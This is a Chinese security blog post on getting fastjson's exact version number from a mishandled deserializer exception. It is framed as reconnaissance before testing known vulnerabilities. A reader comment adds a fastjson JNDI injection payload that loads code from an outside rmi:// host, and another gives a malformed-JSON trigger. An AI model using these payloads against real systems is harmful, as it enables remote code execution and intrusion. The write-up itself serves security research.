fastjson 获取精确版本号的方法

背景

上个月天天打游戏一直没更文,也没啥研究成果,这次就随便发点小技巧。

没有技术含量,但在某些场景下也是可以运用得到。

目前来看是可以影响到最新版本(1.2.73)的。

细节

之前在找 fastjson 漏洞时看了很多可能存在问题的代码。

其中就包括 JavaBeanDeserializer 类。

该类有一处值得关注的代码如下图。

1596952930(1).jpg

1596952986(1).jpg

这里在某个条件成立后就会抛出一个异常。

异常的 message 会把当前 fastjson 的版本号输出。

1596953196(1).jpg

VERSION 常量由三个类调用,只有 JavaBeanDeserializer 比较容易由用户触发。

再回到触发条件。

1596953597.jpg

最主要的一个条件就是当前读取到的符号不得为 “{” 和 “,”。

然后就是如何来触发它了。

JavaBeanDeserializer 主要有两种方法可以触发。

  • 1) 当代码使用 JSON.parseObject(json , clazz) 指定期望类的方式去解析 JSON,且 clazz 不能为 fastjson 已设定的大部分类型,如“Hashmap”、“ArrayList”
  • 2) 当使用 JSON.parse(json) 不指定期望类的时候可以通过 AutoCloseable 来触发

最后要让精确版本能够输出在页面上还要满足“异常捕获处理不当”的条件。

复现

  • 第一种场景

1596954527(1).jpg

  • 第二种场景

1596954461(1).jpg

以上两个 payload 都是没有读到 “{”和“,” 才进入缺陷代码块抛出了异常。

更贴近真实环境可以部署一个 demo iSafeBlue/fastjson-autotype-bypass-demo

1596954767(1).jpg

总结

按我的理解来看这个还算不上漏洞,但也算是一个缺陷。

总之在渗透时遇到代码对异常信息处理不当的项目还是很有效的。

可以直接在异常信息中暴露出 fastjson 的精确版本,然后再根据版本去测试已知漏洞。

Comments : 2

  1. shinpachi8
    shinpachi8 回复

    在某些情况下,也可以试一下这种的。

    ["@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://qiyisrm.uustay.dns.yoyostay.top/exploit"]

  2. for
    for 回复

    ["test":1] 这样也能触发 1.2.7版本

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。